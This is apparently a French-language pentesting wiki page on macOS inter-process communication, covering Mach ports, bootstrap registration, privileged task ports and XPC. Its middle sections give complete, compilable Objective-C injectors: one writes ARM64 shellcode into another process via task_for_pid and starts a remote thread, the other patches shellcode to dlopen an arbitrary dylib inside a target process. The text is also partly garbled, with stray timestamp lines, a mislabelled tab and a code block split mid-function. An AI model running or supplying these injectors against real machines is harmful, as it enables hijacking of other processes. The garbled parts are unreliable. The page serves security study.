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# macOS IPC - Communication inter-processus
<details>
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</details>
## Messagerie Mach via les ports
Mach utilise des **tâches** comme **plus petite unité** pour partager des ressources, et chaque tâche peut contenir **plusieurs threads**. Ces **tâches et threads sont mappés 1:1 sur les processus et threads POSIX**.
La communication entre les tâches se fait via la Communication Inter-Processus (IPC) de Mach, en utilisant des canaux de communication unidirectionnels. Les **messages sont transférés entre les ports**, qui agissent comme des **files d'attente de messages** gérées par le noyau.
Les droits de port, qui définissent les opérations qu'une tâche peut effectuer, sont essentiels pour cette communication. Les **droits de port possibles** sont :
* Le **droit de réception**, qui permet de recevoir les messages envoyés au port. Les ports Mach sont des files d'attente MPSC (multiple-producteur, unique-consommateur), ce qui signifie qu'il ne peut y avoir qu'un seul droit de réception pour chaque port dans tout le système (contrairement aux tubes, où plusieurs processus peuvent tous détenir des descripteurs de fichier pour l'extrémité de lecture d'un tube).
* Une **tâche avec le droit de réception** peut recevoir des messages et **créer des droits d'envoi**, ce qui lui permet d'envoyer des messages. À l'origine, seule la **propre tâche a le droit de réception sur son port**.
* Le **droit d'envoi**, qui permet d'envoyer des messages au port.
* Le droit d'envoi peut être **cloné**, de sorte qu'une tâche possédant un droit d'envoi peut cloner le droit et **le donner à une troisième tâche**.
* Le **droit d'envoi unique**, qui permet d'envoyer un seul message au port, puis disparaît.
* Le **droit de jeu de ports**, qui indique un _ensemble de ports_ plutôt qu'un seul port. Le défilement d'un message à partir d'un ensemble de ports défile un message à partir de l'un des ports qu'il contient. Les ensembles de ports peuvent être utilisés pour écouter plusieurs ports simultanément, un peu comme `select`/`poll`/`epoll`/`kqueue` dans Unix.
* Le **nom mort**, qui n'est pas un droit de port réel, mais simplement un espace réservé. Lorsqu'un port est détruit, tous les droits de port existants sur le port se transforment en noms morts.
**Les tâches peuvent transférer des droits d'ENVOI à d'autres**, leur permettant d'envoyer des messages en retour. **Les droits d'ENVOI peuvent également être clonés**, de sorte qu'une tâche peut dupliquer et donner le droit à une troisième tâche. Cela, combiné à un processus intermédiaire appelé **serveur d'amorçage**, permet une communication efficace entre les tâches.
2023-06-03 13:10:46 +00:00
#### Étapes :
Comme mentionné, pour établir le canal de communication, le **serveur d'amorçage** (**launchd** sur Mac) est impliqué.
1. La tâche **A** lance un **nouveau port**, obtenant un **droit de réception** dans le processus.
2023-06-03 13:10:46 +00:00
2. La tâche **A**, étant le détenteur du droit de réception, **génère un droit d'envoi pour le port**.
3. La tâche **A** établit une **connexion** avec le **serveur d'amorçage**, fournissant le **nom de service du port** et le **droit d'envoi** via une procédure appelée enregistrement d'amorçage.
4. La tâche **B** interagit avec le **serveur d'amorçage** pour exécuter une **recherche d'amorçage pour le service**. Si elle réussit, le **serveur duplique le droit d'envoi** reçu de la tâche A et **le transmet à la tâche B**.
5. Une fois qu'il a acquis un droit d'envoi, la tâche **B** est capable de **formuler** un **message** et de l'envoyer **à la tâche A**.
Le serveur d'amorçage ne peut pas authentifier le nom de service revendiqué par une tâche. Cela signifie qu'une **tâche** pourrait potentiellement **usurper n'importe quelle tâche système**, en revendiquant faussement un nom de service d'autorisation, puis en approuvant chaque demande.
Ensuite, Apple stocke les **noms des services fournis par le système** dans des fichiers de configuration sécurisés, situés dans des répertoires protégés par SIP : `/System/Library/LaunchDaemons` et `/System/Library/LaunchAgents`. À côté de chaque nom de service, le **binaire associé est également stocké**. Le serveur d'amorçage créera et détiendra un **droit de réception pour chacun de ces noms de service**.
Pour ces services prédéfinis, le **processus de recherche diffère légèrement**. Lorsqu'un nom de service est recherché, launchd lance le service dynamiquement. Le nouveau flux de travail est le suivant :
* La tâche **B** lance une **recherche d'amorçage** pour un nom de service.
* **launchd** vérifie si la tâche est en cours d'exécution et si ce n'est pas le cas, la **démarre**.
* La tâche **A** (le service) effectue un **enregistrement de vérification d'amorçage**. Ici, le **serveur d'amorçage** crée un droit d'envoi, le conserve et **transfère le droit de réception à la tâche A**.
2023-06-03 13:10:46 +00:00
* launchd duplique le **droit d'envoi et l'envoie à la tâche B**.
Cependant, ce processus ne s'applique qu'aux tâches système prédéfinies. Les tâches non système fonctionnent toujours comme décrit initialement, ce qui pourrait potentiellement permettre l'usurpation.
2023-06-03 13:10:46 +00:00
### Exemple de code
Notez comment l'**expéditeur** **alloue** un port, crée un **droit d'envoi** pour le nom `org.darlinghq.example` et l'envoie au **serveur d'amorçage** tandis que l'expéditeur demande le **droit d'envoi** de ce nom et l'utilise pour **envoyer un message**.
{% tabs %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <mach/mach.h>
#define BUFFER_SIZE 100
int main(int argc, char** argv) {
mach_port_t server_port;
kern_return_t kr;
char buffer[BUFFER_SIZE];
// Create a send right to the server port
kr = bootstrap_look_up(bootstrap_port, "com.example.server", &server_port);
if (kr != KERN_SUCCESS) {
printf("Failed to look up server port: %s\n", mach_error_string(kr));
return 1;
}
// Send a message to the server
strcpy(buffer, "Hello, server!");
kr = mach_msg_send((mach_msg_header_t*)buffer);
if (kr != KERN_SUCCESS) {
printf("Failed to send message: %s\n", mach_error_string(kr));
return 1;
}
return 0;
}
```
{% endtab %}
2023-06-03 13:10:46 +00:00
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}
### Ports privilégiés
* **Port hôte**: Si un processus a le **privilège d'envoi** sur ce port, il peut obtenir des **informations** sur le **système** (par exemple, `host_processor_info`).
* **Port privilégié de l'hôte**: Un processus avec le droit d'**envoi** sur ce port peut effectuer des **actions privilégiées** telles que le chargement d'une extension du noyau. Le **processus doit être root** pour obtenir cette permission.
* De plus, pour appeler l'API **`kext_request`**, il est nécessaire de disposer d'autres autorisations **`com.apple.private.kext*`** qui ne sont accordées qu'aux binaires Apple.
* **Port du nom de la tâche**: Une version non privilégiée du _port de la tâche_. Il fait référence à la tâche, mais ne permet pas de la contrôler. La seule chose qui semble être disponible à travers lui est `task_info()`.
* **Port de la tâche** (alias port du noyau)**:** Avec l'autorisation d'envoi sur ce port, il est possible de contrôler la tâche (lecture/écriture de mémoire, création de threads...).
* Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port n'est **hérité** qu'à travers **`exec()`**; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas particulier, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse de l'échange de port"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) tout en effectuant un `fork()`.
* Voici les restrictions d'accès au port (à partir de `macos_task_policy` du binaire `AppleMobileFileIntegrity`):
* Si l'application a l'autorisation **`com.apple.security.get-task-allow`**, les processus de **même utilisateur peuvent accéder au port de la tâche** (communément ajoutée par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
* Les applications ayant l'autorisation **`com.apple.system-task-ports`** peuvent obtenir le **port de la tâche pour n'importe quel** processus, sauf le noyau. Dans les anciennes versions, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
* **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime renforcé** (et non provenant d'Apple).
### Injection de shellcode dans un thread via le port de la tâche&#x20;
Vous pouvez obtenir un shellcode à partir de :
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="mysleep.m" %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{% tab title="entitlements.plist" %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
2023-06-03 13:10:46 +00:00
**Compilez** le programme précédent et ajoutez les **droits** nécessaires pour pouvoir injecter du code avec le même utilisateur (sinon vous devrez utiliser **sudo**).
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Injection de dylib dans un thread via le port de tâche
Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'API **posix `pthread`**. Le thread que nous avons généré lors de l'injection précédente a été généré en utilisant l'API Mach, donc **il n'est pas conforme à posix**.
Il était possible d'**injecter un simple shellcode** pour exécuter une commande car cela ne nécessitait pas de travailler avec des API conformes à posix, seulement avec Mach. Des **injections plus complexes** nécessiteraient que le **thread** soit également conforme à posix.
Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger une dylib** du système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.
Vous pouvez trouver des **exemples de dylibs** dans (par exemple celui qui génère un journal que vous pouvez ensuite écouter) :
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
```c
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
printf("Pthread create depuis le thread mach @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib);
}
}
// Écrire le shellcode dans la mémoire allouée
kr = mach_vm_write(remoteTask, // Port de la tâche
remoteCode64, // Adresse virtuelle (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Longueur de la source
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Impossible d'écrire dans la mémoire du thread distant : Erreur %s\n", mach_error_string(kr));
return (-3);
}
// Définir les autorisations sur la mémoire allouée pour le code
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Impossible de définir les autorisations de mémoire pour le code du thread distant : Erreur %s\n", mach_error_string(kr));
return (-4);
}
// Définir les autorisations sur la mémoire allouée pour la pile
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Impossible de définir les autorisations de mémoire pour la pile du thread distant : Erreur %s\n", mach_error_string(kr));
return (-4);
}
// Créer un thread pour exécuter le shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // c'est la vraie pile
//remoteStack64 -= 8; // besoin d'un alignement de 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf("Pile distante 64 0x%llx, le code distant est %p\n", remoteStack64, p);
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "Impossible de créer un thread distant : erreur %s", mach_error_string(kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf(stderr, "Utilisation : %s _pid_ _action_\n", argv[0]);
fprintf(stderr, " _action_ : chemin vers un dylib sur le disque\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0) inject(pid, action);
else
{
fprintf(stderr, "Dylib introuvable\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Détournement de thread via le port de tâche <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Dans cette technique, un thread du processus est détourné :
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
{% endcontent-ref %}
## XPC
2023-06-03 13:10:46 +00:00
### Informations de base
XPC, qui signifie Communication inter-processus XNU (le noyau utilisé par macOS), est un framework pour la **communication entre les processus** sur macOS et iOS. XPC fournit un mécanisme pour effectuer des **appels de méthode asynchrones et sécurisés entre différents processus** du système. Il fait partie du paradigme de sécurité d'Apple, permettant la **création d'applications avec des privilèges séparés** où chaque **composant** s'exécute avec **seulement les autorisations nécessaires** pour effectuer son travail, limitant ainsi les dommages potentiels d'un processus compromis.
XPC utilise une forme de communication inter-processus (IPC), qui est un ensemble de méthodes permettant à différents programmes s'exécutant sur le même système d'échanger des données.
Les principaux avantages de XPC sont les suivants :
1. **Sécurité** : En séparant le travail en différents processus, chaque processus peut se voir accorder uniquement les autorisations dont il a besoin. Cela signifie que même si un processus est compromis, il a une capacité limitée à causer des dommages.
2023-06-03 13:10:46 +00:00
2. **Stabilité** : XPC aide à isoler les plantages dans le composant où ils se produisent. Si un processus plante, il peut être redémarré sans affecter le reste du système.
3. **Performance** : XPC permet une concurrence facile, car différentes tâches peuvent être exécutées simultanément dans différents processus.
Le seul **inconvénient** est que **séparer une application en plusieurs processus** qui communiquent via XPC est **moins efficace**. Mais dans les systèmes d'aujourd'hui, cela n'est presque pas perceptible et les avantages sont meilleurs.
2023-06-03 13:10:46 +00:00
### Services XPC spécifiques à l'application
Les composants XPC d'une application se trouvent **à l'intérieur de l'application elle-même**. Par exemple, dans Safari, vous pouvez les trouver dans **`/Applications/Safari.app/Contents/XPCServices`**. Ils ont l'extension **`.xpc`** (comme **`com.apple.Safari.SandboxBroker.xpc`**) et sont **également des bundles** avec le binaire principal à l'intérieur : `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` et un `Info.plist : /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Comme vous pouvez le penser, un **composant XPC aura des autorisations et des privilèges différents** des autres composants XPC ou du binaire principal de l'application. SAUF si un service XPC est configuré avec [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) défini sur "True" dans son fichier **Info.plist**. Dans ce cas, le service XPC s'exécutera dans la **même session de sécurité que l'application** qui l'a appelé.
